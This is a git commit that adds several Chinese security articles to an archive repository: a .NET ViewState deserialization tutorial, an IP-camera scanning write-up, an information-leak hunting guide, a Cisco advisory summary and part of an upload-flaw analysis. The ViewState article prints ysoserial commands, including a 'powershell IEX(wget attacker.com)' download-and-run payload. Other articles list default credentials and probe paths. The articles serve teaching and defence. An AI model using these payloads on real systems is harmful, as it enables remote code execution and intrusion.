mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 03:17:22 +00:00
从 .NET 代码审计看 ViewState 反序列化漏洞、漏洞预警 | 用友U8CRM SQL注入漏洞、思科发布IOS XE无线控制器中的关键漏洞更新、栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解、某云盘系统 API 端点无限制上传漏洞解析、实战中踩过的坑：我是如何用Ingram搞定摄像头漏洞扫描的、栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解、栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解、漏洞预警 | Unibox路由器命令注入漏洞、常见的信息泄露漏洞挖掘（第二部分）、
This commit is contained in:
test
parent
19dd1fc552
commit
0bc1265221
12
data.json
12
data.json
@ -13787,5 +13787,15 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NDcwNjkzNw==&mid=2247487497&idx=1&sn=9ba99fad3e77a68a6ae4c3c91348db3d": "某OA代码审计之挖掘0day，未公开poc",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5NzQ0Mjc5NA==&mid=2649768949&idx=1&sn=1ecde373bf55882e9275155658f9e50d": "原力金智SRC上线漏洞盒子 | 「企业SRC」新住客",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497567&idx=1&sn=0abc159207103dccd3e73039c850bf2a": "一次十分详细的漏洞挖掘记录,新思路+多个高危",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247520404&idx=1&sn=e8a6e80ecf53ea04e94d8c714c68928e": "AI的攻与防：基于大模型漏洞基因库的威胁狩猎与企业级纵深防御"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247520404&idx=1&sn=e8a6e80ecf53ea04e94d8c714c68928e": "AI的攻与防：基于大模型漏洞基因库的威胁狩猎与企业级纵深防御",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499624&idx=1&sn=7c645b1f4a16642c32bafc3802d9582a": "从 .NET 代码审计看 ViewState 反序列化漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493070&idx=2&sn=c9f99407ce417bc7b5ebd84f2d42edaa": "漏洞预警 | 用友U8CRM SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493792&idx=1&sn=a89a0fa01c39e64a57ad642a05f14904": "思科发布IOS XE无线控制器中的关键漏洞更新",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2MzYzNjEyMg==&mid=2247487203&idx=1&sn=714e8903bd08d274bcaaf0f09d461a65": "栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NzY5MzI5Ng==&mid=2247506359&idx=1&sn=397454a7b547b06a7dc384e188d18259": "某云盘系统 API 端点无限制上传漏洞解析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIxOTM2MDYwNg==&mid=2247513579&idx=1&sn=7378085d9863deac22e2a37990a499d4": "实战中踩过的坑：我是如何用Ingram搞定摄像头漏洞扫描的",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NDcwNjkzNw==&mid=2247487495&idx=1&sn=ec1e90a954685b653561732410288e2a": "栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247491097&idx=1&sn=ce5a9d032e7a62b5edd058ea86bc7ff6": "栈溢出从复现到挖掘-CVE-2018-18708漏洞复现详解",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493070&idx=3&sn=7c31151901744fd0b812bb3637f38369": "漏洞预警 | Unibox路由器命令注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxODQzOTYxMQ==&mid=2247483896&idx=1&sn=6cb883625f1ea191a575188e8f62fe6e": "常见的信息泄露漏洞挖掘（第二部分）"
|
||||
}
|
||||
162
doc/2025-05/从 .NET 代码审计看 ViewState 反序列化漏洞.md
Normal file
162
doc/2025-05/从 .NET 代码审计看 ViewState 反序列化漏洞.md
Normal file
@ -0,0 +1,162 @@
|
||||
# 从 .NET 代码审计看 ViewState 反序列化漏洞
|
||||
专攻.NET安全的 dotNet安全矩阵 2025-05-09 00:24
|
||||
|
||||
|
||||
|
||||
.NET框架提供了诸如ViewState等便利的状态保持机制，但正是这些便利，在默认配置和低版本框架中却隐藏着巨大的安全隐患。本文将以.NET ViewState反序列化漏洞为主线，讲解如何从代码审计的角度识别风险配置、分析漏洞触发条件，并配合实际攻击链演示，揭示从一段Base64字符串到命令执行背后的完整原理。
|
||||
|
||||
**01. 漏洞背景介绍**
|
||||
|
||||
|
||||
|
||||
在 .NET Web Forms中，ViewState用于将页面状态信息保存在客户端，以便于PostBack时还原。依赖 LosFormatter
|
||||
或 ObjectStateFormatter
|
||||
进行对象序列化与反序列化。
|
||||
|
||||
ViewState机制是asp.net中对同一个Page的多次请求中 维持Page及控件状态的一种机制 ASP.NET 的ViewState是使用Base64的字符串保存在一个隐藏域中的在WebForm中每次请求完，Page对象都会被释放，这里就有一个问题就是我客户端请求一个 page但是多次请求，怎么维护我和page对象之间的状态以及一些信息？-----viewstate机制
|
||||
|
||||
ViewState的设计目的就是为了将必要的信息持-久化在页面中，这样通过ViewState在页面回传 的过程中保存状态值。常见的形式如下图所示。
|
||||
|
||||
|
||||
## 1.1 ViewState不等于Cookie
|
||||
|
||||
Cookie是存在于http请求中的，而ViewState仅仅存在于.net 。
|
||||
Cookie不存在后端解析（只需要取值即可）
|
||||
|
||||
而.net中的ViewState存在于后端解析（序列 化和反序列化的操作） Cookie是为了http无状态而产生的，ViewState是为了保存WebForm中服务端控件状态进 行持久化而产生的。
|
||||
## 1.2 ViewState的构成
|
||||
## 实际的传输中 ObjectStateFormatter 会使用 MachineKey 对信息进行加密或签名。实际环境中传输的数据为__VIEWSTATE，__VIEWSTATE的生成过程如下所示
|
||||
|
||||
ViewState = serialize(我们控制传输的数据)+0xff+0x01+0x32+... client_id = hash(当前请求路径)+hash(当前请求文件名) MacKeyModifier = client_id + ViewStateUserKey(默认为空) signed_data = new HMACSHA256(web.config里面的密钥).encode(ViewState+MacKeyModifie r); __VIEWSTATE = ViewState + signed_data
|
||||
## 具体的序列化流程由 [System.Web]System.Web.UI.ObjectStateFormatter 进行处理。其返回结 果以FF01作为magic，后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复 杂的类型， ObjectStateFormatter 通过二进制序列化方式对这种情况进行支持，其 TypeCode 为 0x32 ，Value为带有 7bit-encoded 长度前缀的二进制序列化数据。
|
||||
|
||||
Web 表单在多个 HTTP 请求之间保持控件的状态，而无需依赖 Session 或 Cookie。ViewState 的数据存储在 HTML 表单的隐藏字段中，通常以 __VIEWSTATE
|
||||
变量的形式出现，如下图所示。
|
||||
|
||||
|
||||
|
||||
为了防止攻击者篡改序列化数据，.NET 提供了 **ViewState MAC 校验。MAC 校验的作用是通过密钥生成摘要，确保传入的 ViewState 未被伪造。**
|
||||
### 但问题在于：在某些低版本.NET中，MAC校验可以被配置关闭，攻击者便可构造恶意序列化对象，在服务端被反序列化时触发命令执行。
|
||||
### 通过修改注册表键值，可以强制关闭全局的ViewState MAC验证：
|
||||
|
||||
```
|
||||
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFrame\v4.0.30319]"AspNetEnforceViewStateMac"=dword:00000000
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
注意：根据微软KB2905247说明，enableViewStateMac
|
||||
在4.5.2及以后的版本已被**强制启用**
|
||||
，无法通过配置禁用。
|
||||
|
||||
**02. 利用链构造使用**
|
||||
|
||||
|
||||
|
||||
在MAC被禁用的情况下，攻击者可以使用 ysoserial.net
|
||||
构造合法格式的ViewState payload：
|
||||
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo hacked > C:\windows\temp\test.txt"
|
||||
```
|
||||
|
||||
|
||||
生成的Base64字符串直接替换页面的 __VIEWSTATE
|
||||
参数，即可在PostBack阶段被反序列化触发。
|
||||
|
||||
|
||||
|
||||
**03. 代码审计关注点**
|
||||
|
||||
|
||||
#### 代码层注意是否使用了 EnableViewState = true 的控件；是否继承了可能触发 ViewState 加载的生命周期函数（如 LoadViewState, OnInit）；有无禁用 EventValidation 的逻辑。比如下面关键配置项：
|
||||
|
||||
```
|
||||
<pages enableViewStateMac="false"/><machineKey validationKey="..." validation="SHA1"/>
|
||||
```
|
||||
|
||||
#### 因为，目标应用配置了静态 machineKey，攻击者只需获取该密钥，就能签名合法payload：
|
||||
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -nop -c IEX(wget attacker.com)" \--generator=CA0B0334 --validationalg="SHA1"--validationkey="C551753B..."
|
||||
```
|
||||
|
||||
#### 如上，利用ysoserial带签名便可以生成payload，因此，.NET ViewState反序列化漏洞是配置、版本老旧与序列化共同作用下的高危组合。从攻击者视角看，它是一条成熟、稳定的攻击链。
|
||||
|
||||
**04. 经典案例复现**
|
||||
|
||||
|
||||
|
||||
ViewStateDecoder2.exe 是一个专门用于解析和分析 .NET ViewState 数据的工具，安全研究人员可以利用来查看其中存储的数据结构，检查是否存在用户数据泄露等，正常的解析数据如下图所示。
|
||||
|
||||
|
||||
|
||||
攻击者可能利用 ViewStateDecoder2.exe
|
||||
构造特定的 ViewState 代码，并尝试触发远程代码执行。
|
||||
|
||||
如果解析恶意 ViewState 后调用 Process.Start("calc.exe")
|
||||
，可能会触发命令执行漏洞，如下图所示。
|
||||
|
||||
|
||||
|
||||
**04. 代码审计课程学习**
|
||||
|
||||
|
||||
|
||||
微软的.NET技术广泛应用于全球企业级产品，包括其知名的
|
||||
**Exchange**
|
||||
、
|
||||
**SharePoint**
|
||||
等，国内如
|
||||
**某友的Cloud**
|
||||
、
|
||||
**某通的T系列**
|
||||
、
|
||||
**某蝶的云产品**
|
||||
等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击，问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。
|
||||
|
||||
截至目前，星球已推出近
|
||||
**100节内容**
|
||||
(还在持续增加)，包括
|
||||
**70个视频+30份PDF文档**
|
||||
。我们已将内容细致划分为15个分类，并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。
|
||||
|
||||
|
||||
|
||||
|
||||
详细的内容与结构，请参考下方的星球大纲版块，
|
||||
包括但不限于OWASP十大漏洞类型，涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。
|
||||
|
||||
|
||||
## 专属福利
|
||||
|
||||
1. 学习模式: 代码审计知识星球
|
||||
**在线录播视频**
|
||||
+后续漏洞挖掘直播、内部专属交流社区答疑解惑；
|
||||
|
||||
2. 优享福利：加入.NET代码审计星球后
|
||||
**赠送永久**
|
||||
dot.Net安全基础入门星球。
|
||||
|
||||
|
||||
## 课程评价
|
||||
|
||||
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ，目前已有近 100+ 位朋友抢先预定。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
星球门票后期价格随着内容和质量的不断沉淀会适当提高，
|
||||
**越早加入越划算！**
|
||||
现在加入星球可享受星球早鸟价，并可
|
||||
**领取100元优惠券**
|
||||
，期待在这里能遇到有情有义的小伙伴，大家聚在一起做一件有意义的事，
|
||||
**可扫描下方老师二维码了解更多详情。**
|
||||
|
||||
|
||||
|
||||
153
doc/2025-05/实战中踩过的坑：我是如何用Ingram搞定摄像头漏洞扫描的.md
Normal file
153
doc/2025-05/实战中踩过的坑：我是如何用Ingram搞定摄像头漏洞扫描的.md
Normal file
@ -0,0 +1,153 @@
|
||||
# 实战中踩过的坑：我是如何用Ingram搞定摄像头漏洞扫描的
|
||||
原创 子午猫 网络侦查研究院 2025-05-09 01:00
|
||||
|
||||
|
||||
|
||||
#
|
||||
|
||||
去年冬天参与某关键信息基础设施保卫战（HVV行动）时，我盯着Excel表格里密密麻麻的2000多个网络摄像头IP犯了难。这些设备来自海康、大华、宇视、DLink等多个品牌，既有部署在老旧厂区的传统安防设备，也有新上线的智能摄像头。甲方要求72小时内完成漏洞排查，手动逐个验证显然不现实——那段时间我试过市面上3款主流扫描工具，要么对小众品牌支持不佳，要么扫描速度慢得让人崩溃，直到在安全论坛看到有人提到Ingram。
|
||||
|
||||
|
||||
## 一、为什么是Ingram？从踩坑到真香的转变
|
||||
|
||||
最初我对这个名字略显陌生的开源工具没抱太大希望。毕竟在安防设备扫描领域，海康威视的iVMS、大华的PSS等厂商自有工具占据主流，但这些工具大多只能检测自家设备，对混合品牌环境支持不足。而当时试过的几款通用扫描器，在处理摄像头专属协议时经常报错，比如ONVIF协议的认证漏洞检测就频频翻车。
|
||||
|
||||
抱着试试看的心态下载后发现，Ingram的设计简直是为安防扫描量身定制。它不像Nessus那样追求大而全，而是聚焦网络摄像头的常见漏洞场景：弱口令、未授权访问、特定品牌的历史漏洞（比如Hikvision的CVE-2021-36260、Dahua的CVE-2021-33044系列）。这种精准定位让我在实战中尝到甜头——某次扫描某小区的监控系统时，其他工具漏报的3个DLink摄像头弱口令漏洞，被Ingram精准捕获，后来证实这些设备确实已被恶意程序植入。
|
||||
## 二、从环境搭建到实战扫描：步步为营的操作指南
|
||||
### （一）环境准备的那些坑与解
|
||||
|
||||
别看Ingram是Python工具，环境配置还是有不少讲究。首次安装时我直接用了Python 3.11，结果在导入pycurl库时频繁报错，查文档才发现作者特别注明“尽量避开3.11版本”。正确的姿势是：
|
||||
1. **系统选择**
|
||||
：建议用Kali Linux或Ubuntu，MacOS理论上可行但部分依赖库需要手动编译，Windows用户只能通过WSL运行（别问我怎么知道的，在Windows下踩过的坑能写篇 troubleshooting指南）
|
||||
|
||||
1. **虚拟环境**
|
||||
：一定要创建独立虚拟环境，避免与系统Python环境冲突。我习惯用venv而非conda，激活环境后用pip install -r requirements.txt
|
||||
安装依赖，注意个别二进制文件可能需要提前安装系统包（比如libcurl-dev）
|
||||
|
||||
1. **依赖冲突**
|
||||
：如果遇到cryptography库安装失败，大概率是OpenSSL版本问题，这时候需要手动编译安装指定版本（别慌，README里有详细解决步骤）
|
||||
|
||||
### （二）目标文件格式的魔鬼细节
|
||||
|
||||
准备targets.txt时踩过的最大坑，是IP端口格式的不统一。起初我按常规扫描器格式写“192.168.1.1:80”，结果程序一直报错——原来Ingram支持3种输入格式：
|
||||
- 纯IP（默认扫描80、443、8080等常见端口）
|
||||
|
||||
- IP+端口（格式为192.168.1.1:8081）
|
||||
|
||||
- CIDR范围（比如192.168.1.0/24，但建议先做端口扫描缩小范围）
|
||||
|
||||
实战中发现，提前用Masscan做端口探测能大幅提升效率。记得那次扫描某工业园区，先用Masscan扫出80、8000-9000端口的存活主机，导出为ip:port格式后作为输入，Ingram的扫描时间直接缩短40%。
|
||||
### （三）命令行参数的调优艺术
|
||||
|
||||
别看官方示例只有简单的python run_ingram.py -i targets.txt -o out
|
||||
，实际使用时参数调优大有学问：
|
||||
- **并发数控制**
|
||||
：默认300的并发在千兆网络下没问题，但在带宽有限的环境（比如某老旧厂区的百兆内网），建议降到100-150，否则容易出现连接超时
|
||||
|
||||
- **漏洞类型过滤**
|
||||
：通过-t weak-passwd,cve-2021-33044
|
||||
可以指定扫描特定漏洞类型，某次针对Dahua设备的专项扫描，用这个参数跳过了其他品牌检测，速度提升3倍
|
||||
|
||||
- **中断恢复**
|
||||
：神级功能！记得有次扫描到凌晨3点突然断网，早上重启后直接运行相同命令，工具自动跳过已扫描的IP，这种“断点续传”在长周期扫描中简直救命
|
||||
|
||||
## 三、扫描结果分析：数据背后的安全隐患
|
||||
|
||||
当看到控制台输出“Found 29 Snapshot”时，那种既兴奋又紧张的感觉至今难忘。打开results_all.csv，每一行数据都像一份安全隐患报告：
|
||||
- **弱口令重灾区**
|
||||
：Hikvision设备中，“admin12345”“admin”等默认密码占比超过60%，某幼儿园的15台设备竟有13台用弱口令，让人惊出冷汗
|
||||
|
||||
- **历史漏洞活跃**
|
||||
：Dahua的CVE-2021-33044漏洞在新版本固件中已修复，但老旧设备（尤其是2020年前生产的型号）中招率高达40%，某物流仓库的摄像头因未及时升级，差点成为数据泄露入口
|
||||
|
||||
- **配置缺陷暴露**
|
||||
：部分设备未关闭HTTP管理端口，甚至存在匿名访问漏洞（比如某小区摄像头直接通过IP就能查看实时画面），这种“裸奔”状态在互联网暴露设备中尤为常见
|
||||
|
||||
这里有个实用技巧：将扫描结果导入Excel，用数据透视表按品牌、漏洞类型分组统计，能快速定位高危设备。记得在某次护网行动中，我们通过这种方法半小时内锁定3台存在未授权访问漏洞的设备，及时阻断了黑客的渗透路径。
|
||||
## 四、深度解析：Ingram背后的技术逻辑与行业痛点
|
||||
### （一）协议级漏洞检测的实现路径
|
||||
|
||||
Ingram之所以高效，在于它针对摄像头专属协议做了深度优化：
|
||||
1. **ONVIF协议解析**
|
||||
：通过模拟ONVIF客户端尝试认证，检测默认账号密码（如“admin/12345”）和未授权访问漏洞，这比传统端口扫描更精准
|
||||
|
||||
1. **品牌特征库**
|
||||
：内置各厂商的漏洞特征指纹，比如Hikvision的特定URL路径、Dahua的固件版本识别逻辑，能快速定位已知漏洞
|
||||
|
||||
1. **流量模型优化**
|
||||
：针对摄像头的HTTP/RTSP/SIP等协议设计轻量化探测包，避免传统扫描器的“重载荷”导致设备异常
|
||||
|
||||
### （二）行业安全现状：为什么摄像头成为攻击突破口
|
||||
|
||||
在与甲方沟通中发现，摄像头安全问题频发有深层原因：
|
||||
- **部署乱象**
|
||||
：很多单位将摄像头直接接入互联网，却未做任何安全防护，某连锁超市竟有200+摄像头暴露在公网，且全部使用默认密码
|
||||
|
||||
- **固件升级难**
|
||||
：老旧设备厂商停止维护，新设备虽支持远程升级，但很多用户担心断网风险选择“永不升级”，导致漏洞长期存在
|
||||
|
||||
- **管理盲区**
|
||||
：IT部门认为摄像头属于安防设备，安防部门不懂网络安全，这种管理割裂让很多漏洞成为“三不管”地带
|
||||
|
||||
### （三）与传统安全技术的协同作战
|
||||
|
||||
Ingram的价值不仅在于漏洞扫描，更在于与其他安全技术的联动：
|
||||
- **防火墙策略优化**
|
||||
：根据扫描结果，在锐捷RG-WALL防火墙上针对高危设备关闭非必要端口（如关闭摄像头的HTTP管理端口，仅保留视频流端口）
|
||||
|
||||
- **入侵检测联动**
|
||||
：将Ingram发现的弱口令设备IP导入Suricata，设置针对性规则监控异常登录行为，某企业通过这种方式捕获到3次暴力破解尝试
|
||||
|
||||
- **漏洞管理闭环**
|
||||
：纳入企业漏洞管理平台（如绿盟科技的RSAS），实现“扫描-验证-修复-复测”的全流程管控
|
||||
|
||||
## 五、从工具到体系：构建摄像头安全防护网
|
||||
|
||||
使用Ingram的过程，其实是理解摄像头安全体系的绝佳切入点。结合实战经验，建议从三个层面构建防护体系：
|
||||
### （一）设备层：筑牢第一道防线
|
||||
- **初始配置**
|
||||
：开箱即用的第一件事不是通电，而是修改默认密码（建议用“设备型号+部门+随机字符串”的组合）
|
||||
|
||||
- **固件管理**
|
||||
：建立升级台账，对支持OTA的设备开启自动更新，老旧设备通过离线升级包逐个处理（别学某工厂，300台设备因拒绝升级导致集体被勒索）
|
||||
|
||||
- **端口控制**
|
||||
：通过交换机ACL或防火墙策略，将摄像头管理端口限制在安防专网，禁止直接暴露到互联网
|
||||
|
||||
### （二）网络层：构建纵深防御体系
|
||||
- **VLAN隔离**
|
||||
：将摄像头与办公网络划分不同VLAN，某学校通过这种方式，在摄像头被入侵后成功阻断横向渗透
|
||||
|
||||
- **流量监测**
|
||||
：部署IDS/IPS（如奇安信的NGFW），针对摄像头的异常流量（如大量RTSP连接请求、高频HTTP管理访问）触发警报
|
||||
|
||||
- **准入控制**
|
||||
：引入802.1X认证，确保只有授权设备才能接入网络，某智慧园区通过这种方式拦截了17台伪造MAC地址的攻击设备
|
||||
|
||||
### （三）管理层面：打破安全孤岛
|
||||
- **资产建档**
|
||||
：使用资产测绘工具（如Zoomeye）定期扫描，建立“设备型号-IP-负责人-固件版本”的完整台账，某医院通过这种方式发现12台“失踪”的摄像头设备
|
||||
|
||||
- **应急响应**
|
||||
：制定专项应急预案，明确摄像头漏洞的修复优先级（比如未授权访问漏洞要求24小时内修复）
|
||||
|
||||
- **安全意识培训**
|
||||
：别忽视安防人员的安全意识，某次钓鱼攻击正是通过伪造“摄像头管理系统升级”邮件，骗取了安防管理员的账号密码
|
||||
|
||||
## 六、写在最后：工具只是起点，安全需要持续守护
|
||||
|
||||
回想起用Ingram扫描出第一个高危漏洞时的兴奋，到后来参与多个项目后的冷静，逐渐明白一个道理：再好的工具也只是安全体系的一环。那次在某化工园区，尽管Ingram高效检出了所有漏洞，但真正让安全落地的，是甲方痛定思痛建立的设备准入机制和定期扫描制度。
|
||||
|
||||
现在每当看到网络上曝光的摄像头安全事件（比如某商场摄像头被劫持直播），我都会想起Ingram控制台跳动的进度条——那不仅是数据的流动，更是网络安全工作者与黑产对抗的缩影。工具会不断迭代，漏洞会持续出现，但不变的是我们对安全底线的坚守。
|
||||
|
||||
如果你也在为摄像头安全发愁，不妨试试Ingram（下载链接：
|
||||
https://github.com/jorhelp/Ingram）。但请记住，工具只是起点，真正的安全，始于每个从业者对细节的较真，成于整个行业对体系的构建。愿我们守护的每一个摄像头，都成为安全的眼睛，而非漏洞的窗口。
|
||||
|
||||
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
133
doc/2025-05/常见的信息泄露漏洞挖掘（第二部分）.md
Normal file
133
doc/2025-05/常见的信息泄露漏洞挖掘（第二部分）.md
Normal file
@ -0,0 +1,133 @@
|
||||
# 常见的信息泄露漏洞挖掘（第二部分）
|
||||
原创 LA安全 LA安全实验室 2025-05-09 01:02
|
||||
|
||||
哈喽，各位大佬们！
|
||||
|
||||
上次的信息泄露漏洞文章被各位点赞，我感动得差点把键盘敲出火星子🔥！为了报答大家的厚爱，我写出了第二弹——这次可是干货满满（其实漏洞很好挖掘），包教包会，学不会算我输！
|
||||
|
||||
PS： 文末送小工具，手快有，手慢无哦～
|
||||
|
||||
|
||||
1.
|
||||
报错页面信息泄漏
|
||||
|
||||
这个就是咱们在正常测试的时候，通过输入一些特殊的字符，如‘’，！，# 等特殊符号让这个网站来报错，致使出现一些错误信息。
|
||||
|
||||
漏洞级别：
|
||||
中危
|
||||
|
||||
举例
|
||||
|
||||
|
||||
|
||||
这个就是我在测试的时候，在url里输入了一个单引号，没想到他竟然报错了，那么很有可能就存在SQL注入漏洞，我们就可以接着往下测试了。
|
||||
|
||||
|
||||
2.
|
||||
.SVN信息泄露
|
||||
|
||||
这个漏洞官方定级是低危，但是这个漏洞综合来看还是比较有危害的，一旦网站出现SVN漏洞，其危害远比其他漏洞等其它常见网站漏洞更为致命，因为黑客获取到网站源代码后，一方面是掠夺了网站的技术知识资产，另一方面，黑客还可通过源代码分析其它安全漏洞，从而对网站服务器及用户数据造成持续威胁
|
||||
|
||||
漏洞级别：
|
||||
低危
|
||||
|
||||
我们只需要访问http://[ip]/CVS/Entriesp 以及http://[ip]/.svn/entriesp看是否成功即可
|
||||
|
||||
举例
|
||||
|
||||
|
||||
|
||||
如果有会下载这些文件，造成信息泄露
|
||||
|
||||
3.内网IP信息泄露
|
||||
|
||||
没错，内网IP泄露也算漏洞（当然，这算水洞，大家要是实在没找到漏洞可以写，不过不建议写太多）
|
||||
|
||||
漏洞级别：
|
||||
信息（低危）
|
||||
|
||||
这些漏洞一般用扫描器或者网页底部都会有显示啦，实在不行查看源代码也会发现一些的。
|
||||
|
||||
|
||||
|
||||
4.接口泄露漏洞
|
||||
|
||||
接口泄露漏洞有很多种，这里给大家举几个例子。
|
||||
|
||||
（1）
|
||||
Swagger接口
|
||||
```
|
||||
/swagger/ui/index
|
||||
/swagger-ui.html
|
||||
/api/swagger-ui.html
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
（2）
|
||||
WordPress API
|
||||
```
|
||||
/wp-json/wp/v2/users
|
||||
```
|
||||
|
||||
这个接口可能暴露用户的ID、名称等敏感信息。攻击者可以使用这些信息进行暴力破解、凭据填充或密码喷射攻击。
|
||||
|
||||
|
||||
（3）
|
||||
JavaScript接口拼接
|
||||
|
||||
像一些JS模块利用接口拼接来获取配置信息，这可能导致通用信息泄露漏洞。例如，使用工具如 findsomething, Packer-Fuzzer-master, jsfind 等寻找接口以及后端配置文件。
|
||||
|
||||
我们可以使用自动化工具批量抓取JS文件
|
||||
|
||||
通过FindSomething
|
||||
、Dirsearch
|
||||
、Sublist3r等工具来获取js文件。
|
||||
|
||||
然后在人工的去分析js的内容，分析手段有以下几种
|
||||
```
|
||||
直接打开JS文件，搜索关键字：
|
||||
api：寻找API接口地址
|
||||
secret：寻找硬编码密钥
|
||||
token：寻找认证令牌生成逻辑
|
||||
username/password：寻找默认账号密码
|
||||
```
|
||||
|
||||
|
||||
|
||||
像这里泄露的user就是，把自己的账号密码泄露了。从而轻易进入系统
|
||||
|
||||
|
||||
5.IIS短文件名泄露漏洞
|
||||
|
||||
这个漏洞的测试方法也是比较简单的，比如
|
||||
输入域名http://1.1.1.1:8888 /*~1*/1.aspx,回显是下边的图片样子
|
||||
|
||||
|
||||
|
||||
然后我们再进行
|
||||
http://1.1
|
||||
.1.1:88
|
||||
88
|
||||
/zz*~1*/1.aspx。当他出现如下图所示的样子
|
||||
|
||||
|
||||
|
||||
当然这个漏洞也有专门的测试工具，只要存在这个漏洞，就会一键测试出来哦
|
||||
|
||||
|
||||
|
||||
在这里将这个工具分享给大家：
|
||||
|
||||
通过网盘分享的文件：iis_短文件名泄露漏洞扫描.zip
|
||||
|
||||
链接: https://pan.baidu.com/s/1bApo1rmk12SSl2oEjHQrnQ?pwd=94dw 提取码: 94dw
|
||||
|
||||
|
||||
有需要学习网安知识的可以扫码进群啦，群内不定期发放各种积分福利哦！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
23
doc/2025-05/思科发布IOS XE无线控制器中的关键漏洞更新.md
Normal file
23
doc/2025-05/思科发布IOS XE无线控制器中的关键漏洞更新.md
Normal file
@ -0,0 +1,23 @@
|
||||
# 思科发布IOS XE无线控制器中的关键漏洞更新
|
||||
鹏鹏同学 黑猫安全 2025-05-09 00:58
|
||||
|
||||
|
||||
|
||||
思科针对IOS XE无线控制器系统（漏洞编号CVE-2025-20188，CVSS评分10分）发布安全更新。未经身份验证的远程攻击者可利用该漏洞向受控系统植入任意文件。
|
||||
|
||||
攻击者通过向AP镜像下载接口发送特制HTTPS请求，可能获取root权限并执行任意命令。思科安全公告指出："思科IOS XE无线控制器(WLC)的带外AP镜像下载(OoB AP Image Download)功能存在漏洞，允许未经认证的远程攻击者向受影响系统上传任意文件。该漏洞源于系统存在硬编码的JSON Web Token(JWT)，成功利用可导致攻击者上传文件、执行路径遍历并以root权限运行命令。"
|
||||
|
||||
该漏洞仅在启用"带外AP镜像下载"功能时存在攻击风险，思科强调该功能默认处于关闭状态。受影响产品包括：
|
||||
- 云平台Catalyst 9800-CL无线控制器
|
||||
|
||||
- Catalyst 9300/9400/9500系列交换机内置的9800嵌入式无线控制器
|
||||
|
||||
- Catalyst 9800系列无线控制器
|
||||
|
||||
- Catalyst AP内置无线控制器
|
||||
|
||||
用户可通过运行命令"show running-config | include ap upgrade"检测，若返回"ap upgrade method https"则表明功能已启用。思科表示："禁用该功能后，系统将自动切换至CAPWAP协议进行AP镜像更新，且不会影响AP客户端状态。"
|
||||
|
||||
目前尚无临时解决方案，但可通过禁用带外AP镜像下载功能缓解风险。思科建议用户在评估业务影响后采取该措施，直至完成补丁升级。思科产品安全事件响应团队(PSIRT)确认尚未发现该漏洞的野外利用案例。
|
||||
|
||||
|
||||
144
doc/2025-05/某云盘系统 API 端点无限制上传漏洞解析.md
Normal file
144
doc/2025-05/某云盘系统 API 端点无限制上传漏洞解析.md
Normal file
@ -0,0 +1,144 @@
|
||||
# 某云盘系统 API 端点无限制上传漏洞解析
|
||||
Massa 菜鸟学信安 2025-05-09 00:30
|
||||
|
||||
### background
|
||||
|
||||
在某次赚钱的时候,发现出现了这个系统的低版本 搜索了很久相关只找到了一个
|
||||
|
||||
|
||||
|
||||
|
||||
简短的一句话 但没有其他漏洞细节 于是本地搭建挖一下
|
||||
### 0x01 漏洞限制条件
|
||||
|
||||
|
||||
|
||||
首先是需要一个账号来调用后台的插件
|
||||
|
||||
但是本套系统默认两个账号
|
||||
|
||||
guest:guest demo:demo
|
||||
|
||||
还有一个就是要知道web的路径 当然这个后面说
|
||||
### 0x02 漏洞分析
|
||||
|
||||
定位到函数 发现有一个in['file']的参数
|
||||
|
||||
|
||||
|
||||
跟进in 在controller里面可以看到这个参数
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
还是全局变量 很容易判断他可以直接传参数
|
||||
|
||||
跟进这个可以发现有一个get_path_ext
|
||||
后缀
|
||||
|
||||
|
||||
|
||||
可以发现只限制了数量和一些不可见字符 并没过滤php
|
||||
|
||||
继续跟进unzip_filter_ext 可以发现他过滤了 .user.ini .htaccess
|
||||
|
||||
|
||||
|
||||
但是有一个checkExt检查后缀 但是逻辑有点问题
|
||||
|
||||
在这里有一个不允许的名单
|
||||
|
||||
还会不断的merge
|
||||
|
||||
|
||||
|
||||
